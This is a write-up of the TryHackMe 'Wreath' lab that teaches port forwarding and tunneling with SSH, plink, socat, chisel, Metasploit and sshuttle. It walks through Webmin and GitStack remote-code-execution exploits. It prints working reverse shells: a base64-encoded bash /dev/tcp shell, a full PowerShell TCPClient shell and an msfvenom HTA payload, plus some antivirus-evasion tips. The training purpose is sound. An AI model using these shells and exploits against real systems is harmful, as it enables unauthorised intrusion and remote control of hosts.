Comprehensive Port Forward & Tunneling With Examples

The inspiration for this writeup was to demonstrate common tools within an online sandbox that other learners can easily access. These tools are used to teach and reinforce critical port forwarding and tunneling techniques.

by Johann Van Niekerk

Comprehensive Port Forward & Tunneling With Examples


Wreath is a TryHackMe lab that is rated easy and provides a fantastic opportunity for learners to put into practice proxy tunneling, port forwarding, hands-on experience with a C2 framework and basic antivirus evasion tactics within a small connected environment.

The room is free to access if you have 7 days of consecutive hacking on the THM platform - which is fairly simple to achieve - or if you have a subscription then you have unlimited access.

The inspiration for this writeup was to demonstrate common tools within an online sandbox that other learners can easily access.

Wreath contains 3 machines that are joined to the same network however to reach each machine will require the previous host to be compromised; starting with the initial 'internet-facing' host prod-serv.

Figure: Three hosts within same network however not all three are reachable

This writeup is intended to be comprehensive with the tools being taught and serves to be a visual aide for Port Forwarding & Tunneling concepts.

This writeup is not meant to be a walk through or writeup on the entire lab and is only focused on getting you to the point where you can practice these tools.

I encourage you to take the time to read and understand each topic that we are covering and I will attempt to provide as much clarity as possible within my own pool of knowledge. The intention is to tackle the pivoting challenges with a variety of tools to showcase their use and allow you to research for your own answers after gaining sufficient understanding.

With that being said, let's jump into tackling the challenge and getting to the point where we can start practicing the tools.

Reconnaissance & Scanning

The initial step is to inspect the targets that were provided by the 'client' and understand the lay of the land. First we start with seeing if the hosts are live and if we can ping each target beforehand.


Figure: Only one of the hosts responds to ICMP packets & we notice something interesting

From the initial ping check, we discover that there are two hosts that are not responding to our pings and there is one host that does. Furthermore we can see the ttl=63 that provides some hint as to the operating system of the machine. ttl stands for time-to-live and is decremented with each bounce in the route it takes for the ping that it travels through along the route.

Why is this important? Many different types of systems respond and behave through some default settings and the default time-to-live setting for Linux is ~64, Windows ~128 and some cisco devices are 254 and so on. Time-to-live is easily configurable by a host but there is little point in doing so and most devices are left with the default.

Through ping we can estimate that is likely a host running a Linux operating system.

Our next step is to become a little more hands-on and review the target host for any misconfigurations or services & applications that may have left ports open to the network using a network mapper tool called nmap.

sudo nmap -T4 -p- -oN nmap.allports

This command will execute nmap and scan all 65535 total ports using the -p- flag and save the contents to a file using -oN nmap.allports.

Soon after the scan is finished we discover the following ports are open but not about what is running on those ports. When applications or services establish ports; they can essentially choose any of the 65535 ports and while a lot of services run on their own 'default' ports; it is important to confirm and do extra checks against each port to understand what is running.

22/tcp    open   ssh
80/tcp    open   http
443/tcp   open   https
9090/tcp  closed zeus-admin
10000/tcp open   snet-sensor-mgmt

Our next scan is now targetting these specific ports and trying to uncover the service details running on each of those ports.

sudo nmap -T4 -p22,80,443,9090,10000 -sV -oN

Using the -p port,port,port,port format, we can target our scan specifically to the ports that we know are open. With the -sV flag we use nmap's feature that will send selective reconnaissance scripts at each individual port in order to bannergrab or ascertain what is likely running on each port.

22/tcp    open   ssh        OpenSSH 8.0 (protocol 2.0)
80/tcp    open   http       Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
443/tcp   open   ssl/http   Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
9090/tcp  closed zeus-admin
10000/tcp open   http       MiniServ 1.890 (Webmin httpd)

Great! We know there is port 80 for HTTP and port 443 for HTTPS along with some details indicating that the type of technology being used and in this case we are dealing with a CentOS system and the web application is running on the Apache 2.4.37 framework.

What is especially of interest is port 10000 which indicates another HTTP service running called MiniServ 1.890. It is unusual for web applications to run on ports outside of 80/443 and usually if they are running on unusual ports - these ports would only be accessible internally on the system and not available to the public internet.

Before proceeding any further, we also fire off a script scan using Nmap that will do some fingerprinting based on common vulnerability and configuration checks.

sudo nmap -T4 -p22,80,443,9090,10000 -sV -sC -oN

Using the -sC flag included in our previous payload signals for nmap to run the standard script checks against the target host. You may refer to Nmap's documentation for a detailed explanation and total list of scripts being executed as the list can be exhaustive.

The good news is that it can provide some much needed clarity with regards to the target host.

Figure: Script scan returns with some important information regarding a domain name

With the script scan completed; we can see that port 80 appears to redirect the user to https://thomaswreath.thm however all we know about the target is the IP address Given this is a isolated environment; we need to keep in mind that there is no DNS communication to the wider internet and restricted to within the virtual proxy network; our web browser is not able to resolve to equal to thomaswreath.thm without some help.

Figure: Unable to resolve the domain name to the IP address

The most direct method is that we update our /etc/hosts file and associate the IP address to that particular domain name.

Figure: Updating /etc/hosts to contain the domain/IP relationship

Now when reloading the web page, our browser follows the redirect and is able to successfully load the intended content.

Figure: Page loads correctly after updating /etc/hosts

We inspect the page and click around while also looking for any functions that we can interact with. Since we are unable to do anything on this front facing page then our next stop is looking at the page source and look for interesting information.

After exhausting the manual checks, we can then start using some automated directory and file enumeration tools to discover additional parts of the application that we are not aware about. Using a few of my favourite feroxbuster, gobuster, ffuf to demonstrate what you can see:


gobuster dir -u https://thomaswreath.thm/ -w /usr/share/seclists/Discover/Web-Content/raft-medium-directories.txt -t 30 -k

Figure: Discover some paths that aren't all that interesting


feroxbuster -u https://thomaswreath.thm -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -k

Figure: Using feroxbuster to complete the same


Ffuf is slightly different in that it can achieve the same thing however it is closer to wfuzz in the way that you need to specifically the tool where to insert the wordlist entries. It is great for granular control when fuzzing

https://thomaswreath.thm/FUZZ and so on...

ffuf -c -u https://thomaswreath.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Figure: Again the same with Ffuf

We have tried to look for directories but we haven't tried for files yet so the last step before moving on is testing for files that might be hidden but accessible from our viewpoint.

It is important at this point to understand the technology that you are facing and an extension called wappalyzer could prove useful in determining things for you and same you time.

Figure: Wappalyzer assist with understanding the webapp tech

gobuster dir -u https://thomaswreath.thm/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -k

Figure: Example of file enumeration

Unfortunate we still did not uncover anything important and at this point likely means we can come back to the web application when we run out of other paths or ideas.

Our next step is to look at the interesting port 10000 and what content might be available there. We know it is called Webmin and our initial scanning showed it having a version 1.89. We can likely google for any known vulnerabilities for this version but first lets fingerprint and get a lay of the land.

Figure: heading to presents us with a web app login form

Our Burp logs also re-iterate that the application version is indeed 1.89

Figure: Server response includes header containing application name & version

We head on over to google and decide to see if there is anything related to this product.

Figure: Interesting search results...

We proceed to inspect our first entry and ensuring we read over any and all exploits that we find in the wild. It is imperative to understand what it is doing and that the exploit is safe for use and safe for the environment.

While we are in a practice environment and it is fine to test as much as we'd like but in the real world we need to remain cognisant and responsible when pentesting against client assets and environments.

That being said, we proceed to download the payload we want to test and setup for the exploitation phase.

Gaining External Access

First we get our payload organised and then we inspect the code once more to ensure we know what it is doing:


Figure: Exploit appears to be unobfuscated and readable to understand how it is behaving

The good thing about the exploit is that it also includes instructions on how to use it when you fire up.
Usage: python3 HOST PORT COMMAND

Figure: Interesting "root" user

With remote code execution such as this, we now have control over the web application and control on the host system. In addition to that control; the user privileges are also that of root so once we get on the host system then we will also have Root user.

Let's setup for the reverse shell and make sure we understand the environment we are dealing with.

Taking this into account, let's move on to our reverse shell.

We setup our listener:

Figure: netcat used with -lp 443 to create a listener on port 443

We obtain our ip address

Figure: using ifconfig to determine our ip address

We then formulate our reverse shell command and fire it off with our Remote-Code-Execution script that we found.

Through various testing it appears that there is some filtering or restrictions happening on typical shells so what we can do is be a little more stealthy here. There are numerous methods to get Reverse Shells on this machine and I'd like to highlight the benefits of using base64 encoded shells on both Linux and Windows (You will see this later).

First we create a payload that we want to use and then we want to base64 encode the payload

Payload = /bin/bash -i >& /dev/tcp/ 0>&1
Base64'd = echo '/bin/bash -i >& /dev/tcp/ 0>&1' | base64

Then with our RCE script we fire it off and have the target host decode and execute our shell.

"echo 'base64_blob' | base64 -d | bash" to have target system execute it.

python3 10000 "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjUwLjEwMi4zMy84MCAwPiYx' | base64 -d | bash"

After a couple of seconds then our listener receives and incoming connection!

Figure: Who is this "root"?

Upgrading Shells

It is not always the case that you will end up with a reverse shell that has all the benefits that you might be comfortable with such as:

And somewhat more importantly for our demonstration:

This is important when you think about all the programs that will launch it's own GUI or command-line interaction that is separated from the shell process or spawns a new process. Take for example when you run the following mysql -u root on a linux machine containing an instance of MySQL. This will normally prompt the user with a question such as "Enter The Password:"

Non-interactive shells will not see this and as a result their shell will hang. Interactive shells will show the question and allow the remote user to answer and interact with the programs.

This is also the case for certain reverse shells that do not contain complete I/O. The following example is about fixing a shell that won't show ipconfig.

Figure: ifconfig not displaying the information within the remote shell

In order for us to get this type of information, we need to upgrade our shell. The following is relevant for Linux-based shells as upgrading Windows shells is not as simple and requires executing additional binaries to change between a CMD shell and powershell.

In order to complete this upgrade, we require the host to have python installed. You can find this out by typing which python or which python3 on the webshell or your reverse shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
alias ll='ls -lsaht --color=auto'
export TERM=xterm-256color

alias ll is just a method to add an alias to the current shell environment for easier information gathering instead of repeatedly typing ls -la or any variant within each directory
export TERM to allow for color

Next we need to make sure our remote shell behaves the same way as our 'Kali' machine and that the shell window size is equivalent to what we are using - this is important when dealing with text editors such as VIM or avoiding text dropoff and errors when using programs with command-line interactions.

We hit ctrl + z and this will background the shell (Don't worry you won't lose the shell). On our kali machine we will complete the following:

stty size
stty raw -echo; fg

stty size will display your personal terminal size in ROWS::COLS
stty raw -echo; fg will disable the 'echo' when entering commands and then having your command be echoing in the terminal then it will foreground the process and you will return to your shell

Finally knowing the terminal size, we can make sure that our remote shell matches our size with:

# Replace N
stty rows N cols N

There we have it; with an interactive shell we can get the right information.

Figure: Upgraded shell displays the information


Our next phase is post-exploitation and discovery. From here we are looking at what is available to us and where we can travel. I won't be going into details of what is being taught through this machine labs however I am using these labs for demonstrative purposes.

As such, from here we discover that we are able to communicate with another host that we previously couldn't reach. We used the following bash command to do a quick ping & port sweep within the network that this host resides in:

# Ping Sweep
for i in {1..255}; do (ping -c 1 10.200.101.${i} | grep "bytes from" &); done

# Port Sweep
for i in {1..65535}; do (echo > /dev/tcp/$i) >/dev/null 2>&1 && echo $i is open; done

Figure: Ping sweep discovers some hosts that is reachable from the Victim

Figure: Port sweep discovers ports open on newly discovered hosts

Figure: Victim is able to ping host that Kali cannot reach

The lay of the land appears to represent something similar to the following:

Figure: Our Kali machine needs to communicate through the public facing server to reach internal network

Port Forwarding / Tunneling

From our information gathering, there is a port 80 open on the internal network host From here we begin learning about port forwarding and proxy tunneling.

There are two types of Port Forwards, and one Proxy Tunnel that given the overall context, can be simplified to the following:

Local Port Forwards - "I want my Kali to initiate the connection to remote resources which I normally cannot reach" i.e Database, RDP

Reverse Port Forwards - "I want remote hosts to initiate the connection to my local resources which they normally cannot reach" i.e My kali local web server

Proxy Tunneling - "I want access to a network subnet that is otherwise out of reach and not just targetted resources, like RDP," This however presents its own drawbacks that you will witness later.

Knowing this, let's move on to the first tool.

ncat / nc HTTP Proxy

A benefit for Unix systems where the host might not have any lightweight programs like nc or ncat already installed.  Using ncat we are able to setup a proxy listener that will allow our traffic to reach through this host and into the victims internal network.

This will allow the following type of access by using the victim to route traffic to the internal host: kali --> victim --> internal_host

In that instance you can transfer a static binary (easily found on the internet) to the victim host and setup a proxy listener with the following:

# Syntax > ncat -vv --listen <port_on_victim> --proxy-type http
ncat -vv --listen 33123 --proxy-type http

Note: The TryHackMe Wreath room contains a CentOS flavour and this OS contains restrictive port controls right out of the box. For this presentation and if you are following along - you need to adjust the firewall as CentOS only allows port 22 and whatever the developer allows by default. So you will notice in the screenshots that I have added firewall rules - This is not required unless you suspect the Linux host has firewall rules in place.

Then on our Kali machine we update our proxychains config to include the HTTP proxy with the following:

sudo bash -c "echo 'http <victim_ip> 33123' >> /etc/proxychains4.conf" 
http 33123 # This needs to be in your config file

Figure: Proxychains config should look similar to this

From here our proxychains is setup to route the traffic through the Victim and allow us access to the internal network.

proxychains curl -v http://<internal_host>/gitstack

Figure: After setting up listener proxy, we are able to access the internal network with proxychains


SSH is great and will likely be even more popular given that Microsoft has rolled out their own integration of OpenSSH with newer Windows Operating Systems.

Key points to note is:

SSH Local Port Forward

Local Port Forward is when you want to use an existing connection to reach a resource that you would not normally be able to access.

# syntax > ssh -L <localhost:kali_port>:<remote_victim_ip:port> <victim@victim_ip> -fN
ssh -L 8888: root@ -fN

8888 is abbreviated from that specifies to open port 8888 up locally is the victim and resource that we want to access on port 8888.
victim@ is the host that we can access via SSH and have our traffic bounce through to the internal network.

To further reiterate; we are opening up port 8888 locally on our kali so that when we send traffic to then this will bounce through our SSH tunnel and reach the victim & resource that we want access to.

Figure: Travel path of our Kali terminal command

Figure: We have access to the internal host!

Figure: Browser access

Here is a little closer look at what our command ssh -L 8888: root@ -fN has accomplished

First confirming that we have opened up the local port successfully on our Kali machine:

netstat -auntlp

Figure: is listening for traffic

Now lets check our victim environment that we have SSH access to:

Figure: Our traffic is being handled through this host

Last additional piece of information is that our port forwarding is not limited to external hosts but can also be to local resources that cannot be accessed remotely.

Think of it like this: Instead of this web services being accessible at the internal host (The one we just completed a port forward for); what if the victim we have SSH access to also has a development instance of a webpage and its listening on - From Kali we cannot reach this resource with our tools so the same premise applies that we can bring those resources to us.

This is common for testing environments where developers might need to have an instance of the program/service running however does not want it accessible to the public/internet. The service will be spun up and available locally only.

ssh -L 8888: root@ -fN

Figure: Access a restricted resource on the Victim

SSH Reverse Port Forward

Reverse Port Forward is the same as Local Port Forward other than the context of who is initiating the connection. In this instance the connection is being initiated from the Remote Host.

Recommendations To Be Secure

Generate a temporary set of ssh keys that you will discard after the engagement


This will generate 2 keys: id_rsa & Take the content of the pub key and place that within your own Kali .ssh/authorized_keys file.

You may need to create this file locally first

touch ~/.ssh/authorized_keys

Add the following protection mechanism inside the authorized_keys file content.

echo "command=\"echo 'This account can only be used for port forwarding'\",no-agent-forwarding,no-x11-forwarding,no-pty" >> ~/.ssh/authorized_keys

Next we can take the content of the pub key and include it on a new line within the authorized_keys file content.

cat | xclip -selection clipboard
echo "paste_here" >> ~/.ssh/authorized_keys

Figure: The public key starts with "ssh-rsa blahblahblah"

With this organised, we can do Remote Port Forwarding. Since the remote host is trying to connect to Kali through SSH then we need to ensure we have SSH running.
sudo systemctl status ssh

If it is not currently running then you can start it with the following
sudo systemctl start ssh

Now we transfer the private id_rsa to the remote host and this can be done with a simple copy/paste. Transferring the private key is not normal and you wouldn't otherwise do this however in this context we have generated a temporary set of keys that we will destroy after this enagement.

cat id_rsa | xclip -selection clipboard

# On Victim(Remote) Machine
vim id_rsa
"paste contents"
chmod 600 id_rsa

chmod 600 id_rsa - SSH is fickle and requires specific permissions on id_rsa or it will error out.

Remote Port Forwarding

The next part is how we can use our setup above to then perform Remote Port Forwarding and get access to the internal network.

It is best to visualise the scenario where you would use this: Take for example where you have achieved a web shell or reverse shell but you haven't cracked a users password nor do you have any RSA keys so realistically you are unable to SSH to the victim machine but with a web shell or rev shell, you are able to ssh out of the victim host.

Your option is then to complete an SSH connection back to your machine instead.

# syntax > ssh -R <localhost:kali_port>:<remote_victim_ip:remote_victim_port> -i private_id_rsa <kali@kali_ip> -fN
ssh -R 8888: kali@ -i id_rsa -fN

Figure: Remote host initiates SSH command that instructs Kali to bind port 8888

I tried my best... If you follow along the infograph, we are using a shell on the public facing server to issue a SSH command that connects back to our Kali machine. This opens up port 8888 on our Kali machines and binds it to the Web Server on the internal network port 80.

Figure: On our Kali machine we can see that we have opened up the port locally from the Remote machines SSH instruction

Figure: With this setup we can access the internal host the same as we did before

Remember to clean up by deleting and removing private keys, sanitising your authorized_keys file and so forth

SSH Proxy Tunnel

Another feature with SSH is the ability to create a SSH Proxy Tunnel. With this method you end up with having a dynamic port forwarding technique that allows you to be able to access the remote machines ports 80, 445, 3389, and any other port, without needing to setup forwarding rules for each individual port.

Local Dynamic Proxy

Using the -D flag we can have it setup dynamically allowing our interaction with those ports albeit with some drawbacks in terms of speed and reliability. This specific ports ties directly with your method of communicating to the target; for example in this instance using proxychains to send traffic through the port and have the traffic reach the internally gated host.

# Syntax > ssh -D <proxychains_config_port> <victim@victim_ip> -fN
ssh -D 9050 root@ -i id_rsa

Figure: Port 9050 has been bound

Checking that our Proxychains configuration is correct

tail /etc/proxchains4.conf

Now notice that we can target the host IP directly as well as the protocol without needing to assing a port to localhost

Figure: Direct browser access possible as long as proxy is set to the port we opened

Reverse Dynamic Proxy

SSH also allows for a Remote dynamic proxy that is available on recent versions of SSH only and as such likely won't work on older machines.

ssh -R 9050 kali@ -i id_rsa 

The issues with Proxychains


Plink.exe is a command-line interface for Putty that facilitates SSH for Windows operating systems. Most modern versions of Windows have SSH builtin and this would not be required however in the event that you are dealing with an older version of Windows then this method may be useful for you

To complete Port Forwarding using Plink.exe there are a few things that needs to be setup. First we want to ensure we have a recent version of Plink available and through our Reverse Shell we will transfer this to Windows Host (victim).

As with SSH, for security purposes we will use a set of keys instead of password authentication. The only difference here is that putty has a particular format to work so we need to convert the id_rsa key to a .ppk format when we transfer this to the victim machine that along with the plink.exe binary.

ssh-keygen # Gen the keys
puttygen id_rsa -o id_rsa.ppk # convert a copy into correct format

We still need to include the Public key into the authorized_keys file.

echo " content" >> ~/.ssh/authorized_keys

Then from our reverse shell we can complete a Remote Port Forward with the following command:

# Syntax > plink.exe -R <localhost:kali_port>:<remote_victim_ip:port> -i id_rsa.ppk kali@kali_ip
cmd.exe /c echo y | plink64.exe -R 8899: kali@ -i id_rsa.ppk

cmd.exe /c echo y is for non-interactive shells in order to get around the SSH warning message that the target has not connected to this host before.

Having a look at the diagram shows what we are dealing with:

Figure: Remote Port Forwarding opens up port locally on Kali and binding it for traffic to go through SSH connection and hit the gated resource port 8081

Same as with SSH, this can be extended to forwarding ports from Internal networks as well.


Socat has various standalone binaries compiled for both Windows & Linux and as such socat is great for use on either system when doing port forwards.

Additionally Socat is great for forwarding traffic from internal networks and allows the ability to capture reverse shell connections from gated networks.

Figure: Socat binary on Victim acts as a tunnel forwarding traffic from internal network to Kali

Additionally the tool allows for Encrypted connections using pem keys and I recommend that you investigate this further if you are interested.

Socat static binaries that are available online are prone to being picked up by AV and in order to avoid this, you may need to compile a custom binary to bypass this if required.

Socat supports the following

In this example we will demonstrate the Port Forwarding.


tcp-l:8000 		# create first half of connection - opens port 8000 on Victim
tcp:<ip:port> 	# either remote victim (relaying) or Kali ip (revshell)
fork 			# puts every connection into a new process
reuseaddr 		# means port stays open after connection is made to it

Remote Port Forward:

# Syntax > socat -v tcp-l:<victim_port> tcp:<remote_victim_ip:port>
socat -v tcp-l:33060,fork,reuseaddr tcp:
socat -v tcp-l:9999,fork,reuseaddr tcp:

tcp-l:33060 opens TCP port on Victim and relays port to remote internal host tcp:
curl -v <victim:33060> and this gets access to

Figure: Example of adding listening port that is bound to remote internal host port 80

Remote Port Forward (Quiet Method):

# Syntax > socat -v tcp-l:kali_port tcp:kali_port
socat -v tcp-l:8001 tcp-l:8000,fork,reuseaddr

# On Victim (Relay)
# syntax > socat -v tcp:<kali_ip:8001> tcp:<remote_victim_ip:port>,fork
socat -v tcp: tcp:,fork
socat -v tcp: tcp:,fork

curl -v <localhost:8000> and this gets access to
Traffic that goes into port 8000 comes out of port 8001 and we have bound port 8001 to the socat process running on victim server where it gets relayed to <remote_victim_ip:port>


Great tool used for setting up proxy tunnels and port forwarding through a compromised system.

The great thing about Chisel is that it is compatible for both Unix/Windows and only requires binaries to be on both server/client (victim/kali) to open connections.

Chisel Proxy Tunnel

Reverse SOCKS Proxy:

# Syntax > chisel server -p <chisel_port> --socks5 --reverse &
chisel server -p 33123 --socks5 --reverse &

# Syntax > chisel client <kali_ip:chisel_port> R:socks &
chisel client R:socks &

./chisel server On Kali Victim connects to Kali Server port 33123
R:socks Open port 1080 on Kali & initiate socks proxy

Figure: SOCKS proxy setup and able to reach internal network with proxychains

Local SOCKS Proxy:

# Syntax > chisel server -p <chisel_port> --socks5 &
chisel server -p 33123 --socks5 &

# Syntax > chisel client <victim_ip:chisel_port> 1080:socks &
chisel client 1080:socks &

./chisel server on Victim Kali connects to Victim Server port 33123
1080:socks Open port on Kali & initiate socks proxy

Figure: Server on Victim and able to create tunnel to internal network

Chisel Reverse Port Forward

Reverse Port Forward:

# Syntax > chisel server -p <chisel_port> --reverse &
chisel server -p 33123 --reverse &

# Syntax > chisel client <kali_ip:chisel_port> R:<local_port>:<victim_ip:port> &
chisel client R:8888: &
chisel client R:8888: &

./chisel server on Kali & ./chisel client on victim Victim connects to Kali Server port 33123,
R:8888: Open port on kali Content available on kali through
Kali access to new content on

Figure: Reverse port forward allowing content served on

Chisel Local Port Forward

Local Port Forward:

# Syntax > chisel server -p <chisel_port> &
chisel server -p 33123 &

# Syntax > chisel client <victim_ip:chisel_port> <local_port>:<victim_ip:port> &
chisel client 8888: &
chisel client 8888: &

./chisel server on Victim & ./chisel client on Kali Kali connects to Victim Server port 33123
8888: Open port on Kali Content available on kali through 127.0.01:8888

Chisel Network Pivoting

Chisel is a great tool for pivoting through numerous internal networks. As it is compatible with both Windows & Linux, then it could ideally be your one tool from start to finish.

Take for example an engagement that contains several layers of networks.

As you may be aware, each server can only communicate with others that share a network.
So then the question is, how would you be able to reach the Admin Server from your Kali machine? Let's see how we setup a daisy chain using chisel in order to reach as far as we want to go.

001 - First we setup Chisel Server on Kali

chisel server -p 33123 --socks5 --reverse &

002 - Next we setup Chisel Server & Chisel Client on Public Server for access to Network 1

chisel client <kali_ip:33123> R:1080:socks &
chisel server -p 44123 --socks5 --reverse &

We update our proxychains config: socks5 1080 with the first entry

003 - Now we setup Chisel Client on Internal Server for access to Network 2

chisel client <public_server_ip:44123> -R:2080:socks &
chisel server -p 55123 --socks5 --reverse &

We update our proxychains config: socks5 2080 below the first entry

004 - Finally we setup Chisel Client on Developer Server for access to Network 3

chisel client <internal_server_ip:55123> -R:3080:socks &

We update our proxychains config: socks5 3080 below the second entry

Now with our daisy chain of Chisel's, we are able to enumerate and interact with the Admin server on Network 3 that would otherwise have been gated.

proxychains nmap -sT -p80 <admin_server_ip>
proxychains firefox <admin_server_ip>

Chisel Tunnel Reverse Shells

Catching reverse shells with Chisel is easy! We are able to create a tunnel for the connection so that we receive the incoming shell from an internal network.

Consider the following:

The Internal Server is not on the same network as the Kali machine so it doesn't have any idea to communicate back to Kali. In this instance we can create a tunnel for that communication that allows our Kali machine to receive an reverse shell from the Internal Server

chisel server -p 33123 --reverse & # Server On Kali
chisel client <kali_ip:33123> 15000:<kali_ip:8888> # Client forwarding traffic on Public Server

# Server Setup
nc -lvnp 15000 # On Kali

Generate Payload

msfvenom -p windows/shell_reverse_tcp lhost=<victim_ip> lport=8888 -f hta-psh -o evil.hta

Thereby with the payload and instructions to the Internal Server the traffic will travel from the gated Host:
<Internal_Server>  >> <Public_Server:8888> >> <kali_ip:15000


Metasploit Port Forward

Metasploit contains a easy-to-use module that you can use from the comfort of a meterpreter shell. Using the portfwd module will allow us to add port forwarding rules in place and get access to the content that we want to reach!

Here is an example of how it can be used including the syntax for the demonstration:

# syntax > portfwd add -l <kali_port> -p <victim_port> -r <internal_victim_ip>
portfwd add -l 33123 -p 80 -r
portfwd add -l 33123 -p 8080 -r

From then we can interact with the internal network host through such as the following:

curl -v
nmap -sV -p 33123

Figure: We are able to use a meterpreter session to add port forwarding rules to the remote target

Metasploit Proxy Tunnel

Metasploit also features modules that allow us to create a proxy tunnel for our traffic that automatically runs through the open sessions that we have. Instead of using tools to setup the proxy tunnel into the desired network; we are able to tell Metasploit to route our traffic through an existing shell.

Autoroute can be used from both a Meterpreter shell as well as standalone Metasploit Module

Metasploit Module - Autoroute

use post/multi/manage/autoroute
options # set the appropriate options

Figure: Using Autoroute on session 2 completes the routing automatically

As long as the meterpreter session is running, the network can be accessed in the Metasploit Framework.

Alternatively when Autoroute has issues:

If there is issues with the shell environment then sometimes autoroute will fail to correctly parse and apply the correct details. In this case you will need to add the route yourself. As we are wanting to add the route to our machine - we need to run the following from our Metasploit commandline. The session you route through must be meterpreter shell.

MSF Console - Manual Route Add

# MSF > route add <desired_subnet>/24 <shell_session_#>
route add 2

Figure: Session 2 contains a meterpreter shell available for routing

Figure: Route added for traffic through Session 2

Once the route has been updated then we can create our Metasploit SOCKS proxy to have our traffic route through the intended path.

Metasploit - Setup SOCKS Proxy

use auxiliary/server/socks_proxy
set version 4a
set srvport 9050

As long as our proxychains4.conf file includes the correct setting socks4 9050 then we are ok to proceed with interacting with all other hosts that are on the same network as our Victim.

Figure: Start our proxy server that will tunnel our traffic through the open session shell that we already have and allow access to the internal network

We ensure we update our /etc/proxychains4.conf to include socks4 9050 .

vim /etc/proxychains4.conf
socks4 9050

From then we are able to access the internal network through our proxychains

Figure: Able to curl an internal host directly

Alternatively we also have access to other ports and able to use common tools through Proxychains to access these other ports as well:

Figure: Using nmap through Proxychains and interacting with the internal_host


This tool simulates a VPN allowing us to route our traffic through the proxy without needing proxychains, or equivalent. It allows our traffic to reach internal gated networks with ease and connect to those hosts as if we were on the same network.



sudo apt install sshuttle


--ssh-cmd "ssh -o UserKnownHostsFile=/dev/null" 
--ssh-cmd "ssh -o StrictHostKeyChecking=no"
--ssh-cmd "ssh -o HostKeyAlgorithms=+ssh-rsa"
--ssh-cmd "ssh -o HostKeyAlgorithms=+ssh-dss"
--ssh-cmd "ssh -o KexAlgorithms=+diffie-hellman-group1-sha1" 
--ssh-cmd "ssh -i private_key"

The following is the general syntax and use of sshuttle

# Syntax > sshuttle -r <victim@victim_ip <desired_subnet> &
sshuttle -r root@ -x --ssh-cmd "ssh -i ~/thm/wreath/wreath_rsa"

Gaining Internal Access

With the tools available to now gain access to the internal network; we can begin with looking at what is there and padding our information gathering notes.

Using the following command, we gain access to the network and with that we can directly scan and enumerate the target.

sshuttle -r root@ -x --ssh-cmd "ssh -i ~/thm/wreath/wreath_rsa"

Figure: Sshuttle providing Kali direct access to the internal network

Figure: Access to internal host over port 80

After some general enumeration, we begin looking for more information regarding "GitStack". While searching for public exploits, we end up with a promising list:

Figure: RCE? RCE

We end up grabbing the exploit and inspect the code. After making some general changes the baked-in IP address, we fire it off at the target and confirm our suspicions:

Figure: Our public exploit confirms code execution on target environment

Our next step is get that reverse shell however the target cannot communicate with Kali

Figure: Sending Ping command to host confirms that host cannot reach Kali

The target does communicate with other hosts within the network:

Figure: But the host can ping within their network

So what we can do here is produce a reverse shell by creating a tunnel. First we will get our tunnel setup.

On Kali:

chisel server -p 33123 --reverse

On Victim/Relay Server:

chisel client 8888:

Next is to get our payload ready and from our information gathering we knew it had the RDP Port (3389) and WinRM (5985) open indicating that the internal target is a Windows host.

We grab a quick powershell Reverse Shell from online and save it to payload.txt - Note the reverse shell is pointing to the Victim as if we are capturing the shell on the Public server.

$TCPClient = New-Object Net.Sockets.TCPClient('', 8888);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()

Then we convert the payload to base64 with the following:

iconv -f ASCII -t UTF-16LE payload.txt | base64 | tr -d "\n"

Figure: Converting a powershell rev-shell into base64 blob

Then we update our public exploit that we found to contain the following:

powershell.exe -e <base64_blob>

Figure: Exploit updated with our base64 blob

Finally we setup our listener on Kali for when the routed traffic lands on our machine.

nc -lvnp 8888

When we fire off the exploit, shortly after capture our reverse connection and gain access to - The internal Windows host

Figure: Success!

The reason I prefer to incorporate base64 shells is that there is little room for user error by missing escaped quotes or special characters that might end up throwing errors, causing issues with hangups or even crippling the system. As long as there is a chance of powershell being active, then using the powershell command to decode and execute is a great way to deliver payloads.

Final Thoughts

That's it folks! I hope you learned something new and added some commands to your own arsenal or took the time to go and replicate it yourself. There are several dozen more tools that can achieve the same functions that we have tackled today but I hope I've drilled in the concept so that you can test those tools yourself!

Today we learned several techniques that encompass Reverse Port Forwarding, Local Port Forwarding, and Proxy Tunnelling as well as some additional bits about how we can use these techniques to get to the place we want to be.